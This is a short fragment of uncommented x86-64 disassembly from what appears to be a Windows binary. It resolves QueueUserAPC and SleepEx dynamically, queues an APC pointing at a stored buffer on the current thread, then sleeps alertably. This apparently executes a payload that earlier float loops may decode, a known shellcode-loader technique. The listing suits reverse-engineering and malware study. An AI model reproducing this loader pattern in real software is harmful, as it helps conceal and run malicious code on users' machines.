movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x1a
jle 0x140002913
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0xd
jle 0x140002904
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x4ec
jle 0x14000274a
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x690]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret